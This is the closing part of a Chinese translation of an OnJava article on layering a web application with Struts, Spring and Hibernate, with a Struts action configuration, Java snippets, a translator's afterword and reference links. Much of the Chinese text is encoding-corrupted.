               actionServlet.getServletContext();
 
    WebApplicationContext wac =
      WebApplicationContextUtils.
         getRequiredWebApplicationContext(
                                 servletContext);
 
      this.orderService = (IOrderService)
                     wac.getBean("orderService");
  }
 
  protected IOrderService getOrderService() {
    return orderService;
  }
}
 

UI 层配|?QUI Layer ConfigurationQ?/SPAN>

q个例子里UI?使用了Struts framework. q里我们要讲qC下在l程序分层的时候, 哪些是和Struts部分的。我们就从一个Struts-config.xml文g中的Action的配|信息开始吧?
代码:

struts-config.xml file.

<action path="/SaveNewOrder"
    type="com.meagle.action.SaveOrderAction"
    name="OrderForm"
    scope="request"
    validate="true"
    input="/NewOrder.jsp">
  <display-name>Save New Order</display-name>
  <exception key="error.order.save"
    path="/NewOrder.jsp"
    scope="request"
    type="com.meagle.exception.OrderException"/>
  <exception key="error.order.not.enough.money"
    path="/NewOrder.jsp"
    scope="request"
    type="com.
          meagle.
          exception.
          OrderMinimumAmountException"/>
  <forward name="success" path="/ViewOrder.jsp"/>
  <forward name="failure" path="/NewOrder.jsp"/>
</action>

SaveNewOrder q个Action是用来持久化UI层里的表单提交过来Order的。这是Struts中一个很典型的Action; 注意观察q个Action中exception配置Q这些Exceptions也在Spring 配置文g(applicationContext-hibernate.xml)中配|了Q就?business service object 的transactionAttributes属性里Q?当异常在业务层被被抛出时Q我们可以控制他们,q当的显C给UI层?

W一个异常,OrderException,在持久层保存order对象p|的时候被触发。这导致事物回滚ƈ且通过BO把异常回传到Strutsq一层?

W二个异常,OrderMinimumAmountException也同W一个一栗?





搭配整和的最后一?通过是让你显C层和业务层相结合。这个已l被服务定位器(service locatorQ实CQ前面讨了)Q?q里服务层作Z个接口提供给我们的业务逻辑和持久层?



SaveNewOrder Action 在Struts中用一个服务定位器Qservice locatorQ来调用执行业务Ҏ(gu)的?Ҏ(gu)代码如下Q?



代码:
public ActionForward execute(

  ActionMapping mapping,

  ActionForm form,

  javax.servlet.http.HttpServletRequest request,

  javax.servlet.http.HttpServletResponse response)

  throws java.lang.Exception {

 

  OrderForm oForm = (OrderForm) form;

 

  // Use the form to build an Order object that

  // can be saved in the persistence layer.

  // See the full source code in the sample app.

 

  // Obtain the wired business service object

  // from the service locator configuration

  // in BaseAction.

  // Delegate the save to the service layer and

  // further upstream to save the Order object.

  getOrderService().saveNewOrder(order);

 

  oForm.setOrder(order);

 

  ActionMessages messages = new ActionMessages();

  messages.add(

      ActionMessages.GLOBAL_MESSAGE,

            new ActionMessage(

      "message.order.saved.successfully"));

 

  saveMessages(request, messages);

 

  return mapping.findForward("success");

}


ȝ

q篇文章在技术和构架斚w掩盖了很多低层的基础信息Q?文章的主要的意图在于让你意识到如何给你应用程序分层。分层可?解?你的代码——允许新的组件被dq来Q而且让你的代码易于维护?q里用到的技术只是专注于?解偶"做好。不怎样Q用这L构架可以让你用其他技术代替现在的层。例如,你可能不使用Hibernate实现持久化。既然你在DAO中面向接口的~程的,所以你完全可以用iBATIS来代ѝ或者,你也可能想用 Struts外的其他的技术或者框架替换现在的UI层(转换久层Q实现层q不应该直接影响C的业务逻辑和业务服务层Q。用适当的框架搭Z的Web应用Q其实也不是一件烦琐的工作Q更主要的是?解?了你E序中的各个层?





后记Q?

看完q篇文章后,只是觉得很喜Ƣ,于是q译了Q当然同时也准备着挨大家扔来的鸡蛋Q)?

q篇文章里ƈ没有太多的技术细节,和详l的步骤。如果你从未使用q这些框架而在q行实例E序遇上困难的话Q可以到CSDN论坛Java Open Source版发_我一定会详细解答的(啊哦Q这不算做广告吧Q)Q?

文章是从一个构架的角度讲述了如何搭配现有的开源框架进行分层, 有太多的术语我都不知道怎么表达Q而且可能有很多语句存在错误。如果媄响了你的阅读Q请你直接点原文地址Q我同时也象你说声抱歉?



作者简介:Mark Eagle 高软g工程师,亚特兰大?
?译:Totodo,软g工程?





参考:

StrutsQhttp://jakarta.apache.org/struts/index.html

Spring: http://www.springframework.org

Hibernate: http://www.hibernate.org

http://www.hibernate.org.cn

关于控制反{IOC和依赖注:http://www.martinfowler.com/articles/injection.html

原文:

http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=1
http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=2
http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=3
http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=4

frankboy 2005-12-27 23:15 发表评论
]]>
վ֩ģ壺 º| | ˫| ³ľ| ˮ| | | ӥ̶| ʲ| ̨| ʡ| ԭ| | | | ̫| | ƽ| ƽ| | | | | | ߺ| ٰ| | ˶| ƽ| | Ѩ| »| ָ| | Ϫ| | | Ϫ| | | ¦|